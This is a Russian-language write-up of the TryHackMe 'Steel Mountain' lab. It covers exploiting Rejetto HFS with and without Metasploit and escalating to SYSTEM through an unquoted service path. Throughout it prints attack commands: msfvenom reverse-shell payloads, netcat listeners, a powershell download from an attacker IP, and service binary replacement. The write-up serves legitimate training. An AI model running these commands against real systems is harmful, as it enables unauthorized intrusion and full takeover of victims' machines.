Перейти к содержанию

Steel Mountain


Основная задача - внедрение в Windows машину через metasploit и без него. Использование скриптов для поиска возможности эскалации привилегий Windows, эскалация привилегий в Windows.
Описание задания можно найти на TryHackme

Разведка и сканирование

Смотрим source сайта.

Находим первый флаг - имя файла с лучшим работником.
На 8080 порту админка HFS - Http file server

Проведение разведки с nmap на предмет наличия открытых портов:

sudo nmap -T4 -p- IP-ADDRESS

Обнаружены открытые порты 135,80,445,3389,8080,139,49155,47001,5985,49169,49156,49154,49153,49168

Сканируем со стандартными скриптами для определения версий сервисов, ПО и прочей информации:

sudo nmap -A 135,80,445,3389,8080,139,49155,47001,5985,49169,49156,49154,49153,49168 $IP-ADDRESS

Получаем сведения о версии HFS. В случае атаки без использования metasploit ищем на exploit-db эксплойт для имеющейся версии rejetto HFS.

Используем metasploit

msfconsole search hfs # Ищем в metasploit эксплойт по ключевому слову - названию сервера  
use exploit/windows/http/rejetto_hfs_exec # Выбираем нужный эксплойт  
set RHOSTS and RPORT # Определяем необходимые переменные  
exploit # Получаем доступ к cmd целевой системы с правами пользователя от имени которого запущен и управляется HFS  
search user.txt # Ищем userflag

Попытка эскалировать права с помощью getsystem обернулась неудачей. Для поиска возможности эскалации прав используем PS скрипт для сбора информации о Windows системе - PowerUp.ps1 из фреймворка PowerSploit

upload PowerUp.ps1 # Загружаем скрипт на машину
load powershell # Загружает модуль powershell для того, чтобы в последствии вызвать PS консоль
powershell_shell # Вызовет такую консоль``
. .\PowerUp.ps1 # не забываем про точку перед .\
Invoke-AllChecks # Запускаем скрипт. Изучаем его вывод.

Обращаем внимание на сервисы которые могут быть перезапущены текущим пользователем (CanRestart True) и имеют "незакавыченные" пути к исполняемым файлам. Это позволит нам остановить такой сервис, подменить его исполняемый файл на нужный нам, а затем заново запустить сервис.

Result of work PowerUp.ps1

Создаем payload в msfvenom:

msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o $SERVICE_NAME.exe
Останавливаем нужный сервис
sc stop $SERVICE_NAME

Загружаем payload с помощью upload подменяя экзешник сервиса.
Запускаем сервис (sc start $SERVICE_NAME) и ловим его на локальный netcat (nc -lvnp 4443)- получаем cmd с NT_AUTHORITY правами.

Без использования metasploit

Получаем уязвимость на exploit-db.
Алгоритм работы скрипта реализующего уязвимости заключается в следующем:

  1. При первом запуске он подключается к HFS по указанному адресу, а затем стучится на http://$ATTACKER_IP:80 для того, чтобы скачать nc.exe (бинарник netcat).
  2. При втором запуске открывается cmd с правами пользователя запустившего HFS.

Следовательно, для работы скаченного скрипта нужен бинарник netcat (можно взять здесь не забыв переименовать в nc.exe) и web сервер на 80 порту, с которого можно будет забрать nc.exe

python3 -m http.server 80
Создаем payload в msfvenom:

msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o $SERVICE_NAME.exe

Загружаем payload:

powershell -c wget "``[``http://10.14.37.38/$SERVICE_NAME.exe``](http://10.14.37.38/$SERVICE_NAME.exe)`` -OutFile $SERVICE_NAME.exe"
Останавливаем нужный сервис sc stop $SERVICE_NAME.
Запускаем сервис (sc start $SERVICE_NAME) и ловим его на локальный netcat nc -lvnp 4443- получаем cmd с NT_AUTHORITY правами.